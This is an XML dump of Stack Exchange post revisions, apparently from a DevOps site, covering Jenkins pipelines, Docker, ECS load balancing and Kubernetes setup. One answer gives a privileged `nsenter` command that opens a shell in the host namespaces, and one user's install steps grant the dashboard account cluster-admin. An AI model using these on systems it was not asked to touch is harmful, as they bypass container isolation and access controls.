user_generic_webhook_sender&#xD;&#xA;    tag = wip35&#xD;&#xA;    var1 = &#xD;&#xA;    var2 = &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Pipeline] properties&#xD;&#xA;[Pipeline] stage&#xD;&#xA;[Pipeline] { (Prepare)&#xD;&#xA;[Pipeline] deleteDir&#xD;&#xA;[Pipeline] sh&#xD;&#xA;+ echo user&#xD;&#xA;user&#xD;&#xA;+ echo user@someplace.com&#xD;&#xA;user@someplace.com&#xD;&#xA;+ echo&#xD;&#xA;&#xD;&#xA;+ echo&#xD;&#xA;&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // stage&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // node&#xD;&#xA;[Pipeline] End of Pipeline&#xD;&#xA;Finished: SUCCESS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Question: Why are `$var1` and `$var2` empty during the stage execution, whereas `$committer_name` and `$committer_email` have the values that were assigned in the `genericVariables` section of the Pipeline script?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=8mrJNkofxq4&#xD;&#xA;  [2]: https://github.com/tomasbjerre/bitbucket-server-jenkins-release-tags/blob/master/Jenkinsfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="43729" PostHistoryTypeId="1" PostId="13899" RevisionGUID="7e636809-b3f0-4374-b0db-b77e30d9dfb2" CreationDate="2021-05-13T23:26:52.297" UserId="27661" Text="Why are variables with fixed values not visible in Jenkins Pipeline stage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43730" PostHistoryTypeId="3" PostId="13899" RevisionGUID="7e636809-b3f0-4374-b0db-b77e30d9dfb2" CreationDate="2021-05-13T23:26:52.297" UserId="27661" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43731" PostHistoryTypeId="2" PostId="13900" RevisionGUID="61bfa1f7-a4cb-4a90-9e8b-adc72561ab0b" CreationDate="2021-05-14T00:50:38.067" UserId="27663" Text="If you prefer ssh connection use this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;after_script:&#xD;&#xA;  - git --version&#xD;&#xA;  - git remote remove origin&#xD;&#xA;  - git remote add origin git@gitlab.com:$CI_PROJECT_PATH.git&#xD;&#xA;  - git tag -a v-$CI_COMMIT_SHORT_SHA -m &quot;Version created by gitlab-ci Build&quot;&#xD;&#xA;  - git push --tags&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43732" PostHistoryTypeId="50" PostId="5887" RevisionGUID="455c3655-f860-432d-a760-d445725693b0" CreationDate="2021-05-14T01:08:10.760" UserId="-1" />
  <row Id="43733" PostHistoryTypeId="2" PostId="13901" RevisionGUID="91b14bbd-3a08-4f74-88e2-7d5f2e1c3a75" CreationDate="2021-05-14T04:08:24.223" UserId="27661" Text="Several tutorials I'm referencing to learn about Jenkins Pipeline scripting guide one to create Jenkins Pipeline jobs by:&#xD;&#xA;&#xD;&#xA; 1. Clicking `New Item` in the left pane.  &#xD;&#xA;    [![enter image description here][1]][1]&#xD;&#xA; 2. Click `Pipeline` and enter an item name.  &#xD;&#xA;    [![enter image description here][2]][2]&#xD;&#xA; 3. Fill out the little `Pipeline` textbox with your script.  &#xD;&#xA;    [![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;**Question: where does this script physically reside?** I don't see anywhere to save a filename -- am I creating `foo.sh` or `/path/to/bar.py` or `/somewhere/../else/baz.pl`? **What is the filename and realpath of the script that I type out in that tiny little text box?**&#xD;&#xA;&#xD;&#xA;**Question: is it possible to control the name/location of the Pipeline script that I type in that textbox?** E.g. can this script be something version-controlled in some git repo? And specifically, when this job has no build triggers. I can't help but feel that anonymous script edited in that tiny little text box might be limiting for larger and more complicated scripts.&#xD;&#xA;&#xD;&#xA;Sorry for the multiple questions; I've tried to limit them and keep their scope all related.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WqVFE.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/C0Jfp.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/aIk5o.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43734" PostHistoryTypeId="1" PostId="13901" RevisionGUID="91b14bbd-3a08-4f74-88e2-7d5f2e1c3a75" CreationDate="2021-05-14T04:08:24.223" UserId="27661" Text="Where is Jenkins Pipeline script stored and can I control it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43735" PostHistoryTypeId="3" PostId="13901" RevisionGUID="91b14bbd-3a08-4f74-88e2-7d5f2e1c3a75" CreationDate="2021-05-14T04:08:24.223" UserId="27661" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43736" PostHistoryTypeId="5" PostId="13901" RevisionGUID="c7b5fe7a-9d87-43b1-a86d-3b83aa3bd675" CreationDate="2021-05-14T04:24:22.693" UserId="27661" Comment="Better grammar." Text="Several tutorials I'm referencing to learn about Jenkins Pipeline scripting guide one to create Jenkins Pipeline jobs as follows:&#xD;&#xA;&#xD;&#xA; 1. Click `New Item` in the left pane.  &#xD;&#xA;    [![enter image description here][1]][1]&#xD;&#xA; 2. Click `Pipeline` and enter an item name.  &#xD;&#xA;    [![enter image description here][2]][2]&#xD;&#xA; 3. Fill out the little `Pipeline` textbox with your script.  &#xD;&#xA;    [![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;**Question: where does this script physically reside?** I don't see anywhere to save a filename -- am I creating `foo.sh` or `/path/to/bar.py` or `/somewhere/../else/baz.pl`? **What is the filename and realpath of the script that I type out in that tiny little text box?**&#xD;&#xA;&#xD;&#xA;**Question: is it possible to control the name/location of the Pipeline script that I type in that textbox?** E.g. can this script be something version-controlled in some git repo? And specifically, when this job has no build triggers. I can't help but feel that anonymous script edited in that tiny little text box might be limiting for larger and more complicated scripts.&#xD;&#xA;&#xD;&#xA;Sorry for the multiple questions; I've tried to limit them and keep their scope all related.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WqVFE.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/C0Jfp.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/aIk5o.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43737" PostHistoryTypeId="2" PostId="13902" RevisionGUID="9ed7668c-6dc3-466c-80d3-18645c93560d" CreationDate="2021-05-14T04:40:13.857" UserId="27667" Text="I've spent a bit of time playing &quot;follow the bouncing ball&quot; through the [Generic Webhook Trigger Plugin source code](https://github.com/jenkinsci/generic-webhook-trigger-plugin/), and it would seem that it is because those variables being displayed do not originate from your pipeline at all. Or at least, the values don't.&#xD;&#xA;&#xD;&#xA;What happens is that when your webhook is triggered, the [webhook request receiver](https://github.com/jenkinsci/generic-webhook-trigger-plugin/blob/master/src/main/java/org/jenkinsci/plugins/gwt/GenericWebHookRequestReceiver.java) grabs the [trigger](https://github.com/jenkinsci/generic-webhook-trigger-plugin/blob/master/src/main/java/org/jenkinsci/plugins/gwt/GenericTrigger.java) for your Jenkins job, which creates a [cause object](https://github.com/jenkinsci/generic-webhook-trigger-plugin/blob/master/src/main/java/org/jenkinsci/plugins/gwt/GenericWebhookEnvironmentContributor.java) that will then take the list of generic variables you supplied and pass them to the [variable resolver](https://github.com/jenkinsci/generic-webhook-trigger-plugin/blob/master/src/main/java/org/jenkinsci/plugins/gwt/resolvers/VariablesResolver.java) which will actually then use the [post content parameter resolver](https://github.com/jenkinsci/generic-webhook-trigger-plugin/blob/master/src/main/java/org/jenkinsci/plugins/gwt/resolvers/PostContentParameterResolver.java) to grab the value from the post content for any of the generic variables where you supplied either a JSON or XML path as the value. Where the value does not match an input from the request headers, request parameters, or POST content, the variable is silently discarded.&#xD;&#xA;&#xD;&#xA;Since genericVariables are only used by the Generic Webhook Trigger, and not by the Jenkins Pipeline itself, if you want a static variable to remain in scope once you enter the stage you will need to define it in the proper context - i.e, using the Groovy [def statement](http://groovy-lang.org/semantics.html#_variable_definition) inside the node context, or use [the environment](https://www.jenkins.io/doc/book/pipeline/syntax/#environment)" ContentLicense="CC BY-SA 4.0" />
  <row Id="43738" PostHistoryTypeId="2" PostId="13903" RevisionGUID="0c3d9572-0a73-493f-bd11-72544e1f0c63" CreationDate="2021-05-14T04:48:03.820" UserId="27667" Text="The good news, is that you absolutely don't have to use that little box to manage your pipeline script.&#xD;&#xA;&#xD;&#xA;Jenkins also allows you to [source your Jenkinsfile from an SCM repository like GitHub](https://www.jenkins.io/doc/book/pipeline/getting-started/#defining-a-pipeline-in-scm), and will even let you automagically import branches as separate jobs with separate Jenkinsfiles per branch using [multibranch pipelines](https://www.jenkins.io/doc/book/pipeline/multibranch/#creating-a-multibranch-pipeline).&#xD;&#xA;&#xD;&#xA;Pipeline scripts are in a language known as Groovy, not Perl or sh or similar. The definitive guides to Groovy are (of course) [the Jenkins reference guide](https://www.jenkins.io/doc/book/pipeline/syntax/) and [the Groovy reference guide](http://groovy-lang.org/documentation.html)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43739" PostHistoryTypeId="50" PostId="11977" RevisionGUID="8d0925f9-f88c-4bc5-a94e-c51e9d9a4295" CreationDate="2021-05-14T05:01:40.167" UserId="-1" />
  <row Id="43740" PostHistoryTypeId="2" PostId="13904" RevisionGUID="d69a60fc-9165-48e5-86ac-f750a1cfecf5" CreationDate="2021-05-14T05:02:20.720" UserId="27667" Text="Have you installed the [Build User Vars Plugin](https://plugins.jenkins.io/build-user-vars-plugin/)? This plugin provides the &quot;BuildUser&quot; class." ContentLicense="CC BY-SA 4.0" />
  <row Id="43741" PostHistoryTypeId="2" PostId="13905" RevisionGUID="b1c94a9c-14b6-4911-84fd-491d12fac569" CreationDate="2021-05-14T05:06:34.100" UserId="27661" Text="This is my little newbie Groovy script, trying to cobble together a very beginner understanding of Jenkins Pipelines:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;node {&#xD;&#xA; stage(&quot;hello&quot;) {&#xD;&#xA;  def var = &quot;val&quot;&#xD;&#xA;  echo &quot;${var}&quot;&#xD;&#xA;  def stdout = sh( script: 'pwd', returnStdout: true ).trim()&#xD;&#xA;  echo &quot;${stdout}&quot;&#xD;&#xA;  def ret_status = sh( script: 'cd subdir', returnStatus: true )&#xD;&#xA;  echo &quot;${ret_status}&quot;&#xD;&#xA; }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;The output is:&#xD;&#xA;```&#xD;&#xA;Started by user unknown or anonymous&#xD;&#xA;Running in Durability level: MAX_SURVIVABILITY&#xD;&#xA;[Pipeline] Start of Pipeline&#xD;&#xA;[Pipeline] node&#xD;&#xA;Running on Jenkins in /home/user/workspace/newbie_dont_know_what_hes_doin&#xD;&#xA;[Pipeline] {&#xD;&#xA;[Pipeline] stage&#xD;&#xA;[Pipeline] { (hello)&#xD;&#xA;[Pipeline] echo&#xD;&#xA;val&#xD;&#xA;[Pipeline] sh&#xD;&#xA;+ pwd&#xD;&#xA;[Pipeline] echo&#xD;&#xA;/home/user/workspace/newbie_dont_know_what_hes_doin&#xD;&#xA;[Pipeline] sh&#xD;&#xA;+ cd subdir&#xD;&#xA;/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/script.sh: 1: cd: can't cd to subdir&#xD;&#xA;[Pipeline] echo&#xD;&#xA;2&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // stage&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // node&#xD;&#xA;[Pipeline] End of Pipeline&#xD;&#xA;Finished: SUCCESS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The failure to `cd subdir` is intentional -- to demonstrate the mechanics of capturing shell stdout and status.&#xD;&#xA;&#xD;&#xA;**Why does the failed `cd subdir` report a returnStatus of `2` when `cd`ing to nonexistent directories in `bash` returns status-code `1`?** The [Groovy documentation][1] I have as reference says `sh` runs a Bourne shell script.&#xD;&#xA;```&#xD;&#xA;$ echo $SHELL&#xD;&#xA;/bin/bash&#xD;&#xA;$ cd subdir&#xD;&#xA;-bash: cd: subdir: No such file or directory&#xD;&#xA;$ echo $?&#xD;&#xA;1&#xD;&#xA;$&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/pipeline/steps/workflow-durable-task-step/#sh-shell-script" ContentLicense="CC BY-SA 4.0" />
  <row Id="43742" PostHistoryTypeId="1" PostId="13905" RevisionGUID="b1c94a9c-14b6-4911-84fd-491d12fac569" CreationDate="2021-05-14T05:06:34.100" UserId="27661" Text="Why does Jenkins Pipeline script returnStatus value not match status examined in shell?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43743" PostHistoryTypeId="3" PostId="13905" RevisionGUID="b1c94a9c-14b6-4911-84fd-491d12fac569" CreationDate="2021-05-14T05:06:34.100" UserId="27661" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43744" PostHistoryTypeId="2" PostId="13906" RevisionGUID="dbcbf751-c968-4dc7-b2af-6c40305cb024" CreationDate="2021-05-14T05:16:00.207" UserId="27667" Text="According to [this blog post](https://www.freecodecamp.org/news/where-are-docker-images-stored-docker-container-paths-explained/), Docker Desktop on Windows stores its containers *inside* another container, that container is stored in `C:\ProgramData\DockerDesktop`. If you `docker inspect` a container you have setup, it will give you a Linux path, which you can then get to once you go inside the host container using `docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -i sh`&#xD;&#xA;&#xD;&#xA;This assumes you are using the default (Hyper-V) hypervisor for Docker Desktop. Where you use VMware as the hypervisor instead, different rules may apply." ContentLicense="CC BY-SA 4.0" />
  <row Id="43745" PostHistoryTypeId="50" PostId="9863" RevisionGUID="43b20cff-4752-47ea-b815-90cbb0cb4a1b" CreationDate="2021-05-14T06:02:20.367" UserId="-1" />
  <row Id="43746" PostHistoryTypeId="2" PostId="13907" RevisionGUID="f819ab97-f3bf-4771-b174-e363665e159c" CreationDate="2021-05-14T06:25:36.517" UserId="27667" Text="There's a few things to note. First is that in the absense of a shebang being supplied, the actual interpreter that will be used is actually &quot;sh&quot;, not &quot;bash&quot;.&#xD;&#xA;&#xD;&#xA;Taking a look at the Jenkins source for the [BourneShellScript task](https://github.com/jenkinsci/durable-task-plugin/blob/master/src/main/java/org/jenkinsci/plugins/durabletask/BourneShellScript.java), what happens is that Jenkins does not actually return the exit code from the subshell - it monitors a file called &quot;jenkins-result.txt for changes (using a [FileMonitoringTask](https://github.com/jenkinsci/durable-task-plugin/blob/master/src/main/java/org/jenkinsci/plugins/durabletask/FileMonitoringTask.java)) and when that file has been updated, it merely assigns the content of it as the exit status.&#xD;&#xA;&#xD;&#xA;From what I can see, when you call &quot;sh&quot; it does not just run your script code, but actually wraps it in a fairly substantial block of boilerplate code (refer line 272 of the above linked BourneShellScript). In effect, something closer to this:&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;sh -c ({ while [ -d '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0' -a \\! -f '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/jenkins-result.txt' ]; do touch '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/jenkins-log.txt'; sleep 3; done } &amp; jsc=durable-2fa119e0; JENKINS_SERVER_COOKIE=$jsc sh -xe '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/script.sh' &gt; '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/jenkins-output.txt' 2&gt; 'jenkins-log.txt'; echo $? &gt; '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/jenkins-result.txt.tmp'; mv '/home/user/workspace/newbie_dont_know_what_hes_doin@tmp/durable-2fa119e0/jenkins-result.txt.tmp' '/home/user/workspace/newbie_dont_know_what_hes_doin\@tmp/durable-2fa119e0/jenkins-result.txt'; wait) &gt;&amp;- 2&gt;&amp;- &amp;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is likely necessary to support scenarios where the node on which the script is executed is not the node on which the pipeline is executing, however it does leave a lot of room for error in returning the result, depending on the idiosyncracies of whatever interpreter &quot;sh&quot; is aliased to (not necessarily bash) and the OS on which it is running." ContentLicense="CC BY-SA 4.0" />
  <row Id="43750" PostHistoryTypeId="6" PostId="13896" RevisionGUID="130b32ec-0d91-4cd6-85f5-25cc6c97d8b0" CreationDate="2021-05-14T08:52:47.740" UserId="6162" Comment="use appropriate tags" Text="&lt;kubernetes&gt;&lt;digital-ocean&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43751" PostHistoryTypeId="24" PostId="13896" RevisionGUID="130b32ec-0d91-4cd6-85f5-25cc6c97d8b0" CreationDate="2021-05-14T08:52:47.740" Comment="Proposed by 6162 approved by  edit id of 1392" ContentLicense="CC BY-SA 4.0" />
  <row Id="43752" PostHistoryTypeId="2" PostId="13909" RevisionGUID="73fce875-d798-4106-996f-b9462edff684" CreationDate="2021-05-14T09:46:07.703" UserId="27673" Text="When a Job completes, no more Pods are created, but the Pods are not deleted either. &#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup&#xD;&#xA;&#xD;&#xA;1. clear it by another cronjob ?&#xD;&#xA;2. use operator to wrapper it and add remove mechanism in the operator?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43753" PostHistoryTypeId="2" PostId="13910" RevisionGUID="69bb86b3-687f-4ce8-894f-65ceb738f2da" CreationDate="2021-05-14T09:57:18.763" UserId="27673" Text="you need to create the www-data user in the dockerfile eg &#xD;&#xA;```&#xD;&#xA;RUN addgroup -g 1000 www-data &amp;&amp; adduser -G www-data -g www-data -s /bin/sh -D www-data&#xD;&#xA;&#xD;&#xA;RUN chown -R www-data:www-data /home/www-data &amp;&amp; \&#xD;&#xA;    chown -R www-data:www-data /var/www&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43754" PostHistoryTypeId="50" PostId="13677" RevisionGUID="4129c5a4-ea05-45e5-8fbc-75dc996480cd" CreationDate="2021-05-14T10:05:25.543" UserId="-1" />
  <row Id="43755" PostHistoryTypeId="2" PostId="13911" RevisionGUID="92546b0c-369d-49be-93ab-e6926c4abe92" CreationDate="2021-05-14T10:09:25.867" UserId="25811" Text="Below is a simplified version of my `docker-compose.yml` file.&#xD;&#xA;&#xD;&#xA;I can understand or find any resources to tell me which container of the 5 `django` replicas the nginx container will target if i reference it.&#xD;&#xA;&#xD;&#xA;For example, as you can see if my compose file I have one instance of Nginx and five of Django.&#xD;&#xA;&#xD;&#xA;If my nginx config i have an upstream like this:&#xD;&#xA;&#xD;&#xA;    upstream docking_django {&#xD;&#xA;        server web:3000;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Which web container will the upstream come from? Will it load balance between them?&#xD;&#xA;I'm deploying to AWS ECS and when I try running it, it seems like it's load balancing somehow. But I would like to understand it further since it doesn't seem to behave the same way always.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3.9'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        image: .dkr.ecr.eu-west-3.amazonaws.com/tin-api-v2/django:${IMAGE_TAG}&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: ./Dockerfile&#xD;&#xA;        networks: &#xD;&#xA;          - demoapp&#xD;&#xA;        deploy:&#xD;&#xA;          replicas: 5&#xD;&#xA;    &#xD;&#xA;      nginx:&#xD;&#xA;        image: .dkr.ecr.eu-west-3.amazonaws.com/tin-api-v2/nginx:${IMAGE_TAG}&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: ./nginx.Dockerfile&#xD;&#xA;        ports:&#xD;&#xA;          - 80:80&#xD;&#xA;        depends_on:&#xD;&#xA;          - web&#xD;&#xA;        networks: &#xD;&#xA;          - demoapp&#xD;&#xA;        deploy:&#xD;&#xA;          replicas: 1&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      demoapp:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43756" PostHistoryTypeId="1" PostId="13911" RevisionGUID="92546b0c-369d-49be-93ab-e6926c4abe92" CreationDate="2021-05-14T10:09:25.867" UserId="25811" Text="Which container will be targeted when replicas larger than 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="43757" PostHistoryTypeId="3" PostId="13911" RevisionGUID="92546b0c-369d-49be-93ab-e6926c4abe92" CreationDate="2021-05-14T10:09:25.867" UserId="25811" Text="&lt;docker&gt;&lt;nginx&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43758" PostHistoryTypeId="5" PostId="13909" RevisionGUID="8b2934db-4f52-42d0-8eff-ec85e4cdb323" CreationDate="2021-05-14T11:38:05.743" UserId="40" Comment="deleted 5 characters in body" Text="When a Job completes, no more Pods are created, but the Pods are not deleted either. &#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup&#xD;&#xA;&#xD;&#xA;1. clear it by another cronjob.&#xD;&#xA;2. use operator to wrapper it and add remove mechanism in the operator." ContentLicense="CC BY-SA 4.0" />
  <row Id="43760" PostHistoryTypeId="2" PostId="13912" RevisionGUID="9841c222-5633-4bcb-b521-ac9b7809e4d5" CreationDate="2021-05-14T13:13:48.467" UserId="27265" Text="Yes Felix. Loosely speaking it &quot;load balance&quot; across your 5 web container instances. If you are using the ECS / Compose integration and you are bringing up this stack with a `compose` up this is roughly what happens:&#xD;&#xA;- it creates an ECS cluster&#xD;&#xA;- it creates task def for the `web` task and the `nginx` task &#xD;&#xA;- it creates a service for `web` (with 5 tasks in it)&#xD;&#xA;- it creates a service for `nginx` (with 1 task in it)&#xD;&#xA;- it exposes the `nginx` service via an ALB to the public (because you expose the port 80) &#xD;&#xA;- it creates an internal mechanism based on ECS Service Discovery to be able to resolve `web` inside the cluster (that's how the `nginx` is able to reach an entity called `web`). &#xD;&#xA;&#xD;&#xA;ECS SD leverages CloudMap/Route53 which will round-robin across the 5 entries (`web` tasks). You can read more [here](https://docs.amazonaws.cn/en_us/AmazonECS/latest/developerguide/service-discovery.html)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43761" PostHistoryTypeId="50" PostId="13703" RevisionGUID="ee6e2eeb-9662-4348-acad-d01028815173" CreationDate="2021-05-14T14:00:50.067" UserId="-1" />
  <row Id="43762" PostHistoryTypeId="2" PostId="13913" RevisionGUID="b768d1de-3386-4e26-b94a-45644454cdd9" CreationDate="2021-05-14T15:39:53.020" UserId="27677" Text="i'm guessing the problem is that the name of the service port is not configured, and in the ingress you specified the http name and it can not find it.&#xD;&#xA;name your port http , or give the port that you want to use (80) to the servicePort in the ingress file" ContentLicense="CC BY-SA 4.0" />
  <row Id="43763" PostHistoryTypeId="2" PostId="13914" RevisionGUID="cafb00b7-8c52-42e6-ac7b-b50cffffd376" CreationDate="2021-05-14T17:47:15.287" UserId="27656" Text="I have installed k8s on a linux VM using _kubeadm_ and for some reason any deletion of components assigned to PersistenVolumes  gets stuck. I am using both 'retain' and 'delete' reclaim policies. Further more, for some reason, components are not being modified when I update and apply my _yaml_ files. What Im doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43764" PostHistoryTypeId="1" PostId="13914" RevisionGUID="cafb00b7-8c52-42e6-ac7b-b50cffffd376" CreationDate="2021-05-14T17:47:15.287" UserId="27656" Text="Deletions gets stuck and updates not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="43765" PostHistoryTypeId="3" PostId="13914" RevisionGUID="cafb00b7-8c52-42e6-ac7b-b50cffffd376" CreationDate="2021-05-14T17:47:15.287" UserId="27656" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43766" PostHistoryTypeId="5" PostId="13914" RevisionGUID="721de0ba-2145-43b4-8549-64d6caae6d28" CreationDate="2021-05-14T18:14:28.817" UserId="27656" Comment="added 1043 characters in body" Text="I have installed k8s on a linux VM using _kubeadm_ and for some reason any deletion of components assigned to PersistenVolumes  gets stuck. I am using both 'retain' and 'delete' reclaim policies. Further more, for some reason, components are not being modified when I update and apply my _yaml_ files. &#xD;&#xA;&#xD;&#xA;Installation steps:&#xD;&#xA;```&#xD;&#xA;$ kubeadm reset --force&#xD;&#xA;$ [ -e ~/.kube ] &amp;&amp; rm -rf ~/.kube&#xD;&#xA;$ [ -e /etc/kubernetes ] &amp;&amp; rm -rf /etc/kubernetes&#xD;&#xA;$ [ -e /opt/cni ] &amp;&amp; rm -rf /opt/cni&#xD;&#xA;$ yum remove -y kubeadm kubectl kubelet kubernetes-cni kube*&#xD;&#xA;$ yum autoremove -y&#xD;&#xA;$ yum install kubeadm-1.17.17-0 kubectl-1.17.17-0 kubelet-1.17.17-0 --disableexcludes=kubernetes&#xD;&#xA;$ systemctl enable --now kubelet&#xD;&#xA;$ kubeadm init --pod-network-cidr=172.31.255.0/24&#xD;&#xA;$ mkdir -p $HOME/.kube&#xD;&#xA;$ cp -i /etc/kubernetes/admin.conf $HOME/.kube/config&#xD;&#xA;$ chown $(id -u):$(id -g) $HOME/.kube/config&#xD;&#xA;$ kubectl apply -f https://docs.projectcalico.org/v3.11/manifests/calico.yaml&#xD;&#xA;$ kubectl taint nodes --all node-role.kubernetes.io/master-&#xD;&#xA;$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml&#xD;&#xA;$ kubectl create serviceaccount cluster-admin-dashboard-sa&#xD;&#xA;$ kubectl create clusterrolebinding cluster-admin-dashboard-sa --clusterrole=cluster-admin --serviceaccount=default:cluster-admin-dashboard-sa&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What Im doing wrong?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43767" PostHistoryTypeId="2" PostId="13915" RevisionGUID="1f5944da-3065-4a28-9f53-02e5c74ab296" CreationDate="2021-05-14T18:41:00.093" UserId="27661" Text="I'm trying to apply the guidance I recently read at [how to trigger parameterized builds from a different build in Jenkins][1] and https://plugins.jenkins.io/parameterized-trigger/ - **but this doesn't seem to work, and I'd like to ask the community for help understanding what I'm doing wrong**.&#xD;&#xA;&#xD;&#xA;My jobs are set up thus:&#xD;&#xA;* `foo2` is a non-parameterized build&#xD;&#xA;  * `foo2`'s Build is `Execute shell` with commands:&#xD;&#xA;  ```&#xD;&#xA;  string1=&quot;123abc&quot;&#xD;&#xA;  export string2=&quot;456def&quot;&#xD;&#xA;  ```&#xD;&#xA;  * `foo2`'s Post-build Action is `Trigger parameterized build on other projects`&#xD;&#xA;    * It triggers `foo3`&#xD;&#xA;    * It _attempts_ to pass parameters to `foo3` with `Predefined parameters`:&#xD;&#xA;    ```&#xD;&#xA;    a_string=${string1}&#xD;&#xA;    b_string=${string2}&#xD;&#xA;    ```&#xD;&#xA;* `foo3` is a parameterized build with two string paramters: `a_string` and `b_string`.&#xD;&#xA;  * `foo3`'s Build step is `Execute shell` with commands:&#xD;&#xA;  ```&#xD;&#xA;  echo ${a_string}&#xD;&#xA;  echo ${b_string}&#xD;&#xA;  ```&#xD;&#xA;&#xD;&#xA;**Question/Problem: when `foo3` is triggered, its console output are the string literals `${string1}` and `${string2}`, instead of the desired `123abc` and `456def` -- what am I doing wrong? How can I pass variables set during `foo2`'s Build stage to `foo3`?**&#xD;&#xA;&#xD;&#xA;Output of `foo3` build:&#xD;&#xA;```&#xD;&#xA;Started by upstream project &quot;foo2&quot; build number 4&#xD;&#xA;originally caused by:&#xD;&#xA; Started by user unknown or anonymous&#xD;&#xA;Running as SYSTEM&#xD;&#xA;Building remotely on builder-231 (docker-cleanup) in workspace /home/user/workspace/foo3&#xD;&#xA;[foo3] $ /bin/sh -xe /tmp/jenkins2920927890739081404.sh&#xD;&#xA;+ echo ${string1}&#xD;&#xA;${string1}&#xD;&#xA;+ echo ${string2}&#xD;&#xA;${string2}&#xD;&#xA;Finished: SUCCESS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Screenshots:&#xD;&#xA;&#xD;&#xA;`foo2`'s Build and Post-build action to trigger `foo3`:&#xD;&#xA;[![foo2's Build and Post-build action to trigger foo3][2]][2]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;`foo3`'s parameters:&#xD;&#xA;[![foo3's parameters][3]][3]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;`foo3`'s Build&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/28079228/passing-build-parameters-from-one-jenkins-project-to-another-jenkins-project&#xD;&#xA;  [2]: https://i.stack.imgur.com/VFUso.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/h6ijB.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/4hkNx.png" ContentLicense="CC BY-SA 4.0" />
